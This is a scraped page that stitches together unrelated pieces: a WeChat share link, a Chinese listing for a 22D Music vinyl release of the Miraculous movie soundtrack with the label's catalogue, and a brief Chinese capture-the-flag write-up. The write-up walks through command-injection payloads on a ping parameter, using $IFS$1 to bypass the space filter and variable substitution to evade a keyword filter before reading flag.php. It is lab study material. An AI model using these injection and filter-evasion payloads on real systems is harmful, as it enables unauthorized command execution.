我分享了【回家的路，就是年！】, 快来看吧！ | https://mp.weixin.qq.com/s?__biz=MjM5NTc3MTgwMA==&mid=2651295510&idx=1&sn=56e4b71962e04312410f6e1453038ab4&chksm=bd004be18a77c2f70ff5a36146de5617fe8a93c0eff0919175cc0e32f3c5e65c5ff607e64b08&mpshare=1&srcid=0209K62ANefIk0UyjX5m0jTq&sharer_shareinfo=081169439548030ea68101f59b7fdefe&sharer_shareinfo_first=081169439548030ea68101f59b7fdefe&from=timeline&scene=2&subscene=1&sessionid=1707460727&clicktime=1707461135&enterid=1707461135&ascene=2&fasttmpl_type=0&fasttmpl_fullversion=7063666-zh_CN-zip&fasttmpl_flag=0&realreporttime=1707461135846&devicetype=android-33&version=28002f35&nettype=ctnet&lang=zh_CN&countrycode=CN&exportkey=n_ChQIAhIQl8cNnPuurxDcL4sCaoRMlRLvAQIE97dBBAEAAAAAAANMD1bvajYAAAAOpnltbLcz9gKNyK89dVj0CWyWde9mWBVhX3%2BhABHlEWduYn19AbJqV7cf3CtUqWdE6UQ6NFd%2FAGMM2ROUDYSZCVFLDcNnFyg93FDYtNP%2F%2F6XWd%2F3Nl9u6qN5CqaykgIB9trpVCPC4NAwoT1uXs0JnNmZa2TVL9QK4vR4IIK6Lm9dv3QoY1PFgHGEQAUGjurJs38It2UQ%2BGaz0x4Dzz7mJWnKMcMV9zbKSijs2QSDi0EfY%2FUTXhxnABHi5WVw%2FcNDDLWJ1l7oY0EajSijidresoT8ujxqGZpwo&pass_ticket=9zZkqQbETHN1YJqMJaFn%2FBCP1aluKX6DmnrgMcr7ha5r3Z7hDoZLzSV1rv44mIQ%2B4wDnV7cat%2B5WUtyGo8Iolw%3D%3D&wx_header=3

碟报☉ Back 2 Black！
22D Music 原声#黑胶唱片# 新品 Original

Miraculous: Ladybug & Cat Noir, The Movie LP
Ⓐ Artist: Jeremy Zag
Ⓛ Label: 22D Music
Ⓝ Cat. No.: 22DMUSIC011
Ⓕ Format / Versions:

☉ 180g | 33⅓rpm

☉ Classic Black Vinyl
Ⓓ Release Date: March 29, 2024
___________
+++ Plus: Related Albums
厂牌更多实体唱片出品
22DMUSIC010 Naruto Symphonic Experience 2LP

by Sylvain Audinovski
22DMUSIC009 The Summits of Gods LP

by Amine Bouhafa
22DMUSIC008 Wolfwalkers CD
22DMUSIC007 Wolfwalkers LP

Original Motion Picture Soundtrack

by Bruno Coulais, Kila & Aurora
22DMUSIC006 Petit Vampire (B.O.F) LP

by Olivier Daviaud
22DMUSIC005 Calamity (B.O.F) LP

by Florencia Di Concilio
22DMUSIC004 The Salmon s/t 7inch
22DMUSIC003 SAMSAM (B.O.F) CD

by Eric Neveux
22DMUSIC002 Manu Militari LP

by Bazbaz
22DMUSIC001 Zombillenium LP

by Eric Neveux & Mat Bastard
___________
⊙漫群 https://t.cn/A6K4K8AY

buuctf-pingpingping 1

解题思路

先进行127.0.0.1的ping，发现ping通
于是用管道符|搜索目录

?ip=127.0.0.1|ls 出现flag.php和index.php

接下来?ip=127.0.0.1|catflag.php,爆出如图错误，我们需要过滤空格

过滤空格的方法为 $IFS$1
于是?ip=127.0.0.1|cat$IFS$1flag.php，发现还需要绕过flag，所以我们先转到index.php
看看index文件?ip=127.0.0.1|cat$IFS$1flag.php

(不过滤空格时依旧会报错，这里省略了）

发现如图的过滤规则

最后有一个a变量，所以假设是需要将a的值覆盖进行绕过

依次覆盖a值 ?ip=127.0.0.1;a=f;cat$IFS$1$alag.php

?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php
最后发现a=g时符合，并最后在源码中发现flag